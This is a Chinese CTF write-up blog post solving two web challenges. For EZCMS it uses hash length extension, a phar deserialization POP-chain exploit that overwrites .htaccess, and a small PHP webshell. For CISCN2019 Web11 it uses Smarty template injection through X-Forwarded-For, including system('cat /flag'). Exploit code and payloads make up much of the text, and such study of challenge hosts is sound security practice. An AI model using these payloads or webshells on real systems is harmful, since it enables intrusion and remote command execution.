buuoj日记-3

ByteCTF 2019 EZCMS,CISCN2019 华东南赛区 Web11

ByteCTF 2019 EZCMS

分析:

第一步扫描出了www.zip源码。

config.php中可以看到判断是是否是admin的逻辑,依照这里很简单看出这里可以通过hash长度攻击,因为secret的位数已经给定了所以。还是很简单的。

这里的输入可以输入的hash通过抓包就可以获得

所以登录账号就是admin,登录密码就是admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00largepoplar,上传文件时设置的user就是ea6782ea75cbd6a8cc6fb72a173924d1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

class Check{
public $filename;

function __construct($filename)
{
$this->filename = $filename;
}

function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert'];
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class File{

public $filename;
public $filepath;
public $checker;

function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}

public function view_detail(){

if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;

}

public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}

function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}

}

如图这里是做了一个过滤函数的,这个简单的过滤还是很容易绕过的,有很多很多的方法,我是用字符串拼接。但是还是过不了waf,问题应该是在.htaccess,但是经过测试我们写的.htacceess也无法覆盖原有的。这里注意到有file_get_contents可以使用phar协议,所以可能可以利用phar的反序列化去删除或者重写.htaccess

这里注意到一个open函数。

有open内置方法的类有两个SessionHandlerZipArchive

这里用到了ZipArchive这个类,把设置方式改为overwrite即可以达到删除的效果。

这就是一条pop链了,我们来理一下构造pop的思路

pop链

1.view.php中会生成一个File对象,这里是pop链的起点

2.我要要通过Profile对象调用其中的__call魔法函数删除.htaccess

而这种类似情况的调用条件我直接举例

1
2
$file = new Profile();
$file -> admin = new ZipArchive();//不执行
1
2
3
$file = new File();
$file -> checker = new Profile();
$file -> check ->admin = new ZipArchive();//执行

3.上传以后利用phar://协议去读取

这里的正则可以通过,php://filter/resource绕过

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class File{
public $filename;
public $filepath;
public $checker;
}


class Profile{
public $username;
public $password;
public $admin;
}

$a = new File();
$a -> checker = new Profile();
$a -> checker ->admin = new ZipArchive();
$a -> checker ->username = '/var/www/html/sandbox/33c6f8457bd77fce0b109b4554e1a95c/.htaccess';
$a -> checker ->password = ZipArchive::OVERWRITE;

$phar = new Phar(exp.phar);
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> addFromString('test.txt', 'test');
$phar -> setMetadata($a);
$phar -> stopBuffering();

上传以后

调用

62429864-19e0-4949-a9f3-27909db0b846.node3.buuoj.cn/view.php?filename=2fa0baf1c751e2e9645ea67da0792644.phar&filepath=php://filter/resource=phar://sandbox/33c6f8457bd77fce0b109b4554e1a95c/2fa0baf1c751e2e9645ea67da0792644.phar

在访问之前上传的拼接木马

1
2
3
4
<?php

$a = 'sys'.'tem';
$a($_GET['cmd']);

http://62429864-19e0-4949-a9f3-27909db0b846.node3.buuoj.cn/sandbox/33c6f8457bd77fce0b109b4554e1a95c/2cca65c804539af75f7920b6871aaacd.php?cmd=cat%20/flag

得到flag

CISCN2019 华东南赛区 Web11

分析:

这题一眼看就是个smarty的SSTI模板注入,注入点在x-forwarded-for

先测试利用x-forwarded-for:{$smarty.version}

回显了版本号

在Smarty3的官方手册里有以下描述:

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

该题目使用的是Smarty类,所以只能另寻它路。

{literal} 标签

官方手册这样描述这个标签:

{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

那么对于php5的环境我们就可以使用

1
<script language=”php”>phpinfo();</script>

来实现PHP代码的执行,但这道题的题目环境是PHP7,这种方法就失效了。

也可以使用{self::getStreamVariable(“file:///etc/passwd”)},但是在该版本的smarty中这个方法已经弃用了,所以就不测了

最后这题的测试payload为:{if phpinfo()}{/if}

发现成功执行

然后一步步测试

x-forwarded-for: {if system('ls /')}{/if}

x-forwarded-for: {if system('cat /flag')}{/if}

得到flag

ps:

参考关于smarty-ssti的一些问题

写在后面

这两天忙考试,先停更会儿,但是抽空把phar整理好。